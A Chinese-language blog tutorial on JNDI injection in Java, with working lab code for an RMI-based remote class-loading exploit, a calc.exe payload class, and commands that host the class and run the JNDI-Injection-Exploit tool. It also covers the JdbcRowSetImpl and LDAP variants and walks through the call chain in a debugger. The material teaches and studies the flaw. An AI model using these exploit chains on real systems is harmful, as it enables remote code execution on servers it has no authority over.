JNDI注入漏洞分析

基础概念

什么是JNDI?

JNDI 提供统⼀的客户端 API,通过不同的服务供应接⼝(SPI)的实现使得 JAVA 应⽤程可以通过 JNDI 实现和这些命名服务和⽬录服务之间的交互。

服务供应接⼝作用:主要作⽤是为底层的具体⽬录服务提供统⼀接⼝,从⽽实现⽬录服务的可插拔式安装。

JDK中包含的SPI:LDAP、DNS、NIS、NDS、RMI、CORBA

RMI介绍

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定⼀个外部的远程对象(当前名称⽬录系统之外的对象)。

效果其实就相当于是客户端将服务端的代码拉到本地执行

JNDI注入之rmi注入

JDK安全机制

⾼版本JDK在RMI和LDAP的 trustURLCodebase 都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。

所以要用以下代码解除限制。

java 复制代码
 //解除高版本jdk安全限制
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

RMI利用代码示例

涉及到三个主体 client Registry 和server

Registry 和server可以是同一台服务器 所以把他俩代码写到一起

client代码如下:

向Registry发送请求获取远程对象

java 复制代码
public class Client {
    public static void main(String[] args) throws NamingException, SQLException {
        //解除高版本jdk安全限制
       System.setProperty("java.rmi.server.useCodebaseOnly", "false");
       System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        String uri = "rmi://127.0.0.1:1099/EvalObj";
        InitialContext ctx = new InitialContext();
        ctx.lookup(uri);

    }
}

server代码如下:

起一个端口1099的注册表,把/EvalObj这个路径绑定到⼀个Reference上,注册了远程对象,这样当client本地没有Exploit类时就会去访问http://127.0.0.1:1002/加载远程对象。

java 复制代码
public class Server {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("Exploit", "Exploit", "http://127.0.0.1:1002/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://0.0.0.0:1099/EvalObj'");
        registry.bind("EvalObj", refObjWrapper);
    }
}

还需要一个在clinet本地不存在的类Exploit

这个类内容其实就是个简单的命令执行 执行calc.exe命令。

java 复制代码
public class Exploit {

    public Exploit() {
        try{
            // 要执行的命令
            String commands = "calc.exe";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }
}

将Exploit类放入一个文件夹中

注意!!!!Exploit不要出现包的路径

开始利用:

1.将Exploit.java编译

注意编译的jdk版本别太高 因为jdk只向下版本兼容嘛 所以如何编译的jdk版本太高 client可能没办法拉取到本地执行。

2.进⼊Exploit.class所在的⽬录,并使⽤python 搭建http服务并监听1002

java 复制代码
python -m http.server --bind 0.0.0.0 1002

3.先运行server代码 模拟Server 向 Registry 注册远程对象

4.最后 运行client 模拟Client 从 Registry 获取远程对象的代理并通过这个代理调⽤远程对象的⽅法。

成功执行命令弹出计算器

工具的使用

这样又起注册表服务又起服务端远程代码太麻烦了,并且Registry 和server可以是同一台服务器,所以可以使用工具一个命令把这两件事都做了。

java 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C calc

-A后面是运行的地址 -C是待执行的命令

会有不同条件下的不同url

复制url到client代码 运行

成功执行命令 弹出计算器

漏洞分析

开始调试分析

1.强制步入lookup()函数

2.步入InitialContext文件的getURLOrDefaultInitCtx的lookup()函数

3.步入var3.lookup()

4.步入decodeObject()

在decodeObject中,会判断传⼊对象是满⾜RemoteReference接⼝,满⾜则通过getReference函数获取reference对象

5.步入getObjectInstance()

6.步入getObjectFactoryFromReference()

在getObjectFactoryFromReference 中先判断本地是否存在对应类,如果不存在就加载远程类

newInstance()会实例化远程类,所以这⾥恶意对象的⽆参构造⽅法会被执⾏

整体的利用链如下:

JdbcRowSetImpl利⽤链

在实战过程中,context.lookup直接被外部调⽤的情况⽐较少,但是我们可以通过间接调⽤context.lookup实现JNDI的注⼊。

代码示例:

java 复制代码
//JdbcRowSetImpl利⽤链
JdbcRowSetImpl j = new JdbcRowSetImpl();
j.setDataSourceName(uri);
j.setAutoCommit(true);

同样可以达到rmi的效果

调试分析:

1.加断点

2.强制步入setAutoCommit()

3.步入connect()

到这儿就能清晰了 本质上还是InitialContext调用lookup()函数

后面的部分就和前面rmi的分析一模一样了

JNDI注入之LDAP

理解了rmi的话ldap其实是一样的。因为JNDI还可以对接LDAP服务,且LDAP也能返回Reference对象,因此攻击者可以控制LDAP服务端返回⼀个恶意的JNDI Reference对象从⽽完成攻击。

工具也提供了ldap利用的url

直接复制利用

【重要声明】

本文内容仅用于技术交流与学习,严禁用于任何非法用途。所有操作必须严格遵守《中华人民共和国网络安全法》及相关法律法规,仅在获得明确授权的前提下进行。读者应自行承担操作风险,作者不对任何违规使用或由此引发的法律后果负责。

相关推荐
ZeroNews内网穿透5 小时前
EasyNode 结合 ZeroNews,实现远程管理服务器
运维·服务器·网络协议·安全·http
kong@react5 小时前
wsl2安装及命令(详细教程)
java·docker·容器
学Linux的语莫5 小时前
k8s知识点整体概览
java·linux·kubernetes
k***92165 小时前
list 迭代器:C++ 容器封装的 “行为统一” 艺术
java·开发语言·数据结构·c++·算法·list
xunyan62345 小时前
异常处理-异常概述
java·学习
小付爱coding5 小时前
MCP官方调试工具
java·人工智能
一瓢西湖水5 小时前
浅谈eclipse memory analyzer的应用
java·eclipse
愚公移码6 小时前
蓝凌EKP产品:理解连接池、理解Hikari和Druid 区别
java·oracle·hibernate
天远Date Lab6 小时前
构建金融级风控中台:Java Spring Boot 集成天远借贷风险探查 API 实战
java·大数据·spring boot·金融